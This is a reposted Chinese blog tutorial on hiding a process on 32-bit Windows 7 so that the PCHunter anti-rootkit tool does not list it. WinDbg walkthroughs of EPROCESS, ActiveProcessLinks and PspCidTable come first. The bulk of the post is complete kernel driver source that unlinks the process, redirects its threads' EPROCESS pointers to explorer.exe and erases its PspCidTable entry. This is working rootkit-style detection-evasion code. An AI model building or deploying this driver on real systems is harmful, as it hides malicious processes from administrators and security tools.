[转]win7 32位进程隐藏(过PChunter检测)

总结一下进程隐藏的一些基本套路吧,适合萌新。

       关于进程隐藏,网上说的最多的就是hook NtQuerySystemInformation吧,要么就是在内核去操作ActiveProcessLinks链表,这其实都是一个原理,都是去操作内核的活动进程链表,这个方法也着实有效

 

1
2
3
4
5
6
7
8
9
10
11
kd> dt _eprocess
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x098 ProcessLock      : _EX_PUSH_LOCK
   +0x0a0 CreateTime       : _LARGE_INTEGER
   +0x0a8 ExitTime         : _LARGE_INTEGER
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0c0 ProcessQuotaUsage : [2] Uint4B
    
        关于进程的活动链表:ActiveProcessLinks为双向循环链表,隐藏时只需获取需要隐藏进程的EPROCESS结构,进而获取循环链表地址,做链表删除结点操作,将当前进程的结点结构从链表中删除即可达到隐藏当前进程的目的。
         另外,内核中的全局变量PsActiveProcessHead也指向这个系统的EPROCESS链表。
1
2
3
4
5
6
7
8
9
10
kd> ln PsActiveProcessHead
(83f5cf18)   nt!PsActiveProcessHead   |  (83f5cf20)   nt!PsReaperWorkItem
Exact matches:
    nt!PsActiveProcessHead =
kd> dd 83f5cf18
83f5cf18  85fe37d8 83bf6d30 00000000 00000000
kd> !object 85fe37d8-b8
Object: 85fe3720  Type: (85fe3cb0) Process
    ObjectHeader: 85fe3708 (new version)
HandleCount: 3  PointerCount: 140
         可见PsActiveProcessHead为系统进程system的ActiveProcessLinks字段的值。但是,单凭这一个操作只能在任务管理器里面隐藏进程,pchunter下会把你挖出来还把你标红。
         除了摘除链表外,还需要操作进程的所有线程对象。获取进程的所有线程对象(ThreadListHead字段指向当前进程的线程链表),在线程对象中有一个指向其进程EPROCESS的指针,将指针修改为explorer.exe的EPROCESS地址;注意不要直接清零,而是选择一个确实存在EPROCESS地址,不然即使不蓝屏,隐藏的进程也死了。这一步完成后接着再来。。
         最后一步,抹去PspCidTable中记录的隐藏进程所对应的EPROCESS地址,直接在对应地址上填0即可,当然在进程结束时需要将该数值写会,应为系统在进程结束时会检查PspCidTable中对应的进程对象,没有的话直接蓝屏。这里就需要定位PspCidTable的地址,和如何在表中找到进程对象。
        定位PspCidTable的方法当然是通过特征码的扫描,通过PsLookUpProcessByProcessId定位即可;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
kd> u PsLookupProcessByProcessId l 20
nt!PsLookupProcessByProcessId:
84076575 8bff            mov     edi,edi
84076577 55              push    ebp
84076578 8bec            mov     ebp,esp
8407657a 83ec0c          sub     esp,0Ch
840765a6 8a03            mov     al,byte ptr [ebx]
840765ac 750b            jne     nt!PsLookupProcessByProcessId+0x44 (840765b9)
840765ae 8bd3            mov     edx,ebx
840765b0 e83d8ee3ff      call    nt!ObReferenceObjectSafe (83eaf3f2)
840765b5 84c0            test    al,al
840765b7 7502            jne     nt!PsLookupProcessByProcessId+0x46 (840765bb)
840765b9 33db            xor     ebx,ebx
840765bb a134cff583      mov     eax,dword ptr [nt!PspCidTable (83f5cf34)]
840765c0 33c9            xor     ecx,ecx
 
83f5cf34指向一个_handle_table结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
kd> dt _handle_table 83f5cf34
nt!_HANDLE_TABLE
   +0x000 TableCode        : 0x87a01210
   +0x004 QuotaProcess     : (null)
   +0x008 UniqueProcessId  : 0x80000020 Void
   +0x00c HandleLock       : _EX_PUSH_LOCK
   +0x010 HandleTableList  : _LIST_ENTRY [ 0x80000300 - 0x80000024 ]
   +0x018 HandleContentionEvent : _EX_PUSH_LOCK
   +0x01c DebugInfo        : (null)
   +0x020 ExtraInfoPages   : 0n0
   +0x024 Flags            : 0
   +0x024 StrictFIFO       : 0y0
   +0x028 FirstFreeHandle  : 0
   +0x02c LastFreeHandleEntry : 0x00000113 _HANDLE_TABLE_ENTRY
   +0x030 HandleCount      : 0
   +0x034 NextHandleNeedingPool : 0
   +0x038 HandleCountHighWatermark : 0x83f0d35a
TableCode的值为PspCidTable的一个指针
1
2
kd> dd 0x87a01210
87a01210 9453a001 00000000 00000000 00000000
 
可以看到指针指向的地址是0x9453a001,注意这个地址最低位表示当前表的级数,由此可见当前系统PspCidTable有两层,我们掩去最低位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
kd> dd 9453a000
9453a000  87a04000 9454b000 00000000 00000000
得到两个地址87a040009454b000即为一级表的地址,
kd> dd 87a04000
87a04000  00000000 fffffffe 85fe3721 00000000
87a04010  85fe3419 00000000 85ffebb9 00000000
87a04020  85ffe8e1 00000000 85ffe609 00000000
87a04030  85fefac9 00000000 85fef7f1 00000000
87a04040  85fef519 00000000 85fef241 00000000
87a04050  85ff0021 00000000 85ff0d49 00000000
87a04060  85ff0a71 00000000 85ff0799 00000000
87a04070  85ff04c1 00000000 85ff1021 00000000
 
typedef struct _HANDLE_TABLE_ENTRY
{
    union
    {
        PVOID Object;
        UINT32 ObAttributes;
        struct _HANDLE_TABLE_ENTRY *InfoTable;
        UINT32 Value;
    };
    union
    {
        UINT32 GrantedAccess;
        struct
        {
            USHORT GrantedAccessIndex;
            USHORT CreatorBackTraceIndex;
        };
        INT32 NextFreeTableEntry;
    };
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;
        每8个字节为一组,比如85fe3721 00000000为一组,85fe3721为对象,00000000表示对象的一些属性,这一组的索引为1,故其代表的进程pid为4即为system 在解析PspCidTable时需要考虑PspCidTable的多级结构,在查询时注意表中的值需要抹掉低三位(x & 0xfffffff8)后才是真正的对象,同样在驱动退出需要恢复时需要将对象的第三位还原(x | 0x00000001)
 
最后附上代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
/************************************************************************
* 文件名称:hide_process.cpp
* 作    者:Justgoon
* 完成日期:
*************************************************************************/
#include "hide_process.h"
 
//需要隐藏进程pid
#define HIDE_PID 2544
//explorer进程pid
#define EXPLORER_PID 1840
 
PEPROCESS       pEpro_hide;
PEPROCESS       pEpro_explorer;
PLIST_ENTRY     threadLink;
PLIST_ENTRY     hide_activeProcessLink;
ULONG*          addressOfObjInPspCidTable;
 
#pragma PAGEDCODE
NTSTATUS EnumTable1(ULONG uTableCode)
{
    ULONG               uIndex = 1;
    PVOID               data = NULL;
    ANSI_STRING         ANSI_ProcessName = { 0 };
    UNICODE_STRING      UNICODE_ProcessName = { 0 };
    PHANDLE_TABLE_ENTRY pHandleTableEntry = NULL;
 
    pHandleTableEntry = (PHANDLE_TABLE_ENTRY)((ULONG)(*(PULONG)uTableCode) + 8);
    for (uIndex = 1; uIndex < 0x200; uIndex++)
    {
        if (pHandleTableEntry->Object != NULL)
        {
            PEPROCESS pCurEProcess = (PEPROCESS)(((ULONG)pHandleTableEntry->Object) & 0xFFFFFFF8);
            if (pEpro_hide == pCurEProcess)
            {
                *(ULONG*)pHandleTableEntry = (ULONG)0x00000000;
                addressOfObjInPspCidTable = (ULONG*)pHandleTableEntry;
                return STATUS_SUCCESS;
            }
        }
        pHandleTableEntry++;
    }
    return STATUS_UNSUCCESSFUL;
}
 
#pragma PAGEDCODE
NTSTATUS EnumTable2(ULONG uTableCode)
{
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    do
    {
        status = EnumTable1(uTableCode);
        if (NT_SUCCESS(status))
        {
            return status;
        }
        uTableCode += 4;
    } while (*(PULONG)uTableCode != 0);
    return status;
}
 
#pragma PAGEDCODE
NTSTATUS EnumTable3(ULONG uTableCode)
{
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    do
    {
        status = EnumTable2(uTableCode);
        if (NT_SUCCESS(status))
        {
            return status;
        }
        uTableCode += 4;
    } while (*(PULONG)uTableCode != 0);
    return status;
}
 
#pragma PAGEDCODE
ULONG GetPspCidTableValue()
{
    PVOID           pPsLookupProcessByProcessIdAddress = NULL;
    ULONG           ulPspCidTableValue = 0;
    ULONG           uIndex = 0;
    UNICODE_STRING  ustrFuncName;
 
    RtlInitUnicodeString(&ustrFuncName, L"PsLookupProcessByProcessId");
    pPsLookupProcessByProcessIdAddress = MmGetSystemRoutineAddress(&ustrFuncName);
    if (pPsLookupProcessByProcessIdAddress == NULL)
    {
        return ulPspCidTableValue;
    }
    KdPrint(("PsLookupProcessByProcessId->%08X", pPsLookupProcessByProcessIdAddress));
    for (uIndex = 0; uIndex < 0x1000; uIndex++)
    {
        if (*((PUCHAR)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex)) == 0x8B &&
            *((PUCHAR)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex + 1)) == 0x3D &&
            *((PUCHAR)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex + 6)) == 0xE8)
        {
            KdPrint(("Found PspCidTable OK!!"));
            ulPspCidTableValue = *((PULONG)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex + 2));
            break;
        }
    }
    return ulPspCidTableValue;
}
 
#pragma PAGEDCODE
NTSTATUS EnumPspCidTable()
{
    ULONG           uFlag = 0;
    ULONG           uTableCode = 0;
    ULONG           ulPspCidTable = 0;
    PVOID           data = NULL;
    NTSTATUS        status = STATUS_SUCCESS;
    PHANDLE_TABLE   pHandleTable = NULL;
 
    ulPspCidTable = GetPspCidTableValue();
    if (ulPspCidTable == 0)
    {
        return STATUS_UNSUCCESSFUL;
    }
 
    pHandleTable = (PHANDLE_TABLE)(*(PULONG)ulPspCidTable);
    KdPrint(("pHandleTable->%p", pHandleTable));
 
    uTableCode = (pHandleTable->TableCode) & 0xFFFFFFFC;
    uFlag = (pHandleTable->TableCode) & 0x03;
    KdPrint(("uTableCode->%08X", uTableCode));
 
    switch (uFlag)
    {
        case 0:
        {
            status = EnumTable1(uTableCode);
            break;
        }
        case 1:
        {
            status = EnumTable2(uTableCode);
            break;
        }
        case 2:
        {
            status = EnumTable3(uTableCode);
            break;
        }
    }
    return status;
}
 
#pragma PAGEDCODE
NTSTATUS hide_process_by_pid(ULONG  pid_hide)
{
    PLIST_ENTRY curItem;
    PKTHREAD    pKthread;
    BOOLEAN     isFound = FALSE;
    NTSTATUS    status = STATUS_SUCCESS;
 
    status = PsLookupProcessByProcessId((HANDLE)pid_hide, &pEpro_hide);
    if (!NT_SUCCESS(status))
    {
        return status;
    }
    status = PsLookupProcessByProcessId((HANDLE)EXPLORER_PID, &pEpro_explorer);
    if (!NT_SUCCESS(status))
    {
        return status;
    }
 
    threadLink = (PLIST_ENTRY)((char*)pEpro_hide + 0x188);
    if (!MmIsAddressValid(threadLink))
    {
        KdPrint(("threadLink found err"));
        return STATUS_UNSUCCESSFUL;
    }
 
    hide_activeProcessLink = (PLIST_ENTRY)((char*)pEpro_hide + 0x0b8);
    if (!MmIsAddressValid(hide_activeProcessLink))
    {
        KdPrint(("activeProcessLink found err"));
        return STATUS_UNSUCCESSFUL;
    }
 
    //遍历进程中的线程,修改线程中eprocess指针,使其指向explorer
    curItem = threadLink->Flink;
    while (curItem)
    {
        pKthread = (PKTHREAD)((char*)curItem - 0x268);
        if (MmIsAddressValid(pKthread))
        {
            *(ULONG*)((char*)pKthread + 0x150) = (ULONG)pEpro_explorer;
        }
        curItem = curItem->Flink;
        if (curItem == threadLink->Flink)
        {
            break;
        }
    }
 
    //断activeProcessLink链表
    hide_activeProcessLink->Blink->Flink = hide_activeProcessLink->Flink;
    hide_activeProcessLink->Flink->Blink = hide_activeProcessLink->Blink;
 
    //抹去PspCidTable中隐藏进程的eprocess地址
    status = EnumPspCidTable();
    if (!NT_SUCCESS(status))
    {
        return status;
    }
    return STATUS_SUCCESS;
}
 
VOID DriverUnload(IN PDRIVER_OBJECT pDriverObject)
{
    PKTHREAD    pKthread;
    PLIST_ENTRY curItem;
    PLIST_ENTRY activeProcessLink;
    PLIST_ENTRY activeProcessLinkNext;
 
    //恢复PspCidTable
    if (MmIsAddressValid(addressOfObjInPspCidTable))
    {
        *addressOfObjInPspCidTable = (ULONG)pEpro_hide | 0x00000001;
    }
 
    //恢复活动进程链
    activeProcessLink = (PLIST_ENTRY)((char*)pEpro_explorer + 0x0b8);
    activeProcessLinkNext = activeProcessLink->Flink;
    //循环链表的插入
    activeProcessLink->Flink = hide_activeProcessLink;
    hide_activeProcessLink->Blink = activeProcessLink;
    hide_activeProcessLink->Flink = activeProcessLinkNext;
    activeProcessLinkNext->Blink = hide_activeProcessLink;
 
    //恢复线程中eprocess指针
    if (MmIsAddressValid(threadLink))
    {
        curItem = threadLink->Flink;
        while (curItem)
        {
            pKthread = (PKTHREAD)((char*)curItem - 0x268);
            if (MmIsAddressValid(pKthread))
            {
                *(ULONG*)((char*)pKthread + 0x150) = (ULONG)pEpro_hide;
            }
            curItem = curItem->Flink;
            if (curItem == threadLink->Flink)
            {
                break;
            }
        }
    }
    KdPrint(("DriverUnload"));
}
 
#pragma INITCODE
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,
    IN PUNICODE_STRING pRegistryPath)
{
    pDriverObject->DriverUnload = DriverUnload;
    KdPrint(("DriverEntry"));
    return hide_process_by_pid(HIDE_PID);
}
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
/************************************************************************
* 文件名称:hide_process.h                                              
* 作    者:Justgoon
* 完成日期:
*************************************************************************/
 
#include
#include
 
#define PAGEDCODE code_seg("PAGE")
#define LOCKEDCODE code_seg()
#define INITCODE code_seg("INIT")
 
#define PAGEDDATA data_seg("PAGE")
#define LOCKEDDATA data_seg()
#define INITDATA data_seg("INIT")
 
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
 
typedef struct _HANDLE_TABLE_ENTRY
{
    union
    {
        PVOID Object;
        UINT32 ObAttributes;
        struct _HANDLE_TABLE_ENTRY *InfoTable;
        UINT32 Value;
    };
    union
    {
        UINT32 GrantedAccess;
        struct
        {
            USHORT GrantedAccessIndex;
            USHORT CreatorBackTraceIndex;
        };
        INT32 NextFreeTableEntry;
    };
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;
 
typedef struct _HANDLE_TRACE_DB_ENTRY
{
    CLIENT_ID ClientId;
    PVOID Handle;
    ULONG Type;
    VOID * StackTrace[16];
} HANDLE_TRACE_DB_ENTRY, *PHANDLE_TRACE_DB_ENTRY;
 
typedef struct _HANDLE_TRACE_DEBUG_INFO
{
    LONG RefCount;
    ULONG TableSize;
    ULONG BitMaskFlags;
    FAST_MUTEX CloseCompactionLock;
    ULONG CurrentStackIndex;
    HANDLE_TRACE_DB_ENTRY TraceDb[1];
} HANDLE_TRACE_DEBUG_INFO, *PHANDLE_TRACE_DEBUG_INFO;
 
typedef struct _HANDLE_TABLE {
    ULONG TableCode;
    PEPROCESS QuotaProcess;
    PVOID UniqueProcessId;
    EX_PUSH_LOCK HandleLock;
    LIST_ENTRY HandleTableList;
    EX_PUSH_LOCK HandleContentionEvent;
    PHANDLE_TRACE_DEBUG_INFO DebugInfo;
    LONG ExtraInfoPages;
    ULONG Flags;
    ULONG FirstFreeHandle;
    PHANDLE_TABLE_ENTRY LastFreeHandleEntry;
    LONG HandleCount;
    ULONG NextHandleNeedingPool;
} HANDLE_TABLE, *PHANDLE_TABLE;
 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
                     IN PUNICODE_STRING RegistryPath);
          我自己在测试的时候隐藏notepad 和calc没有问题,但是在隐藏dbgview时虽然它没死,但是好像还是影响到了dbgview导致他没输出,这应该是该线程里eprocess指针导致的问题。 这代码只能在win7 32位下跑啊,代码本身没有什么难度,有几个地方用了硬编码,需要隐藏的进程id 和 explorer的id填在开头。主要的还是这个思路,pchunter一直没有动真格的来检测进程,大家如果感兴趣的话可以按我说的那三个方法,无非就是改几个内存,在windbg里面试一下,不用敲代码都可以

[转]win7 32位进程隐藏(过PChunter检测)

上一篇:delphi 类似split函数功能实现


下一篇:C#中关于CSV文件的写入和读取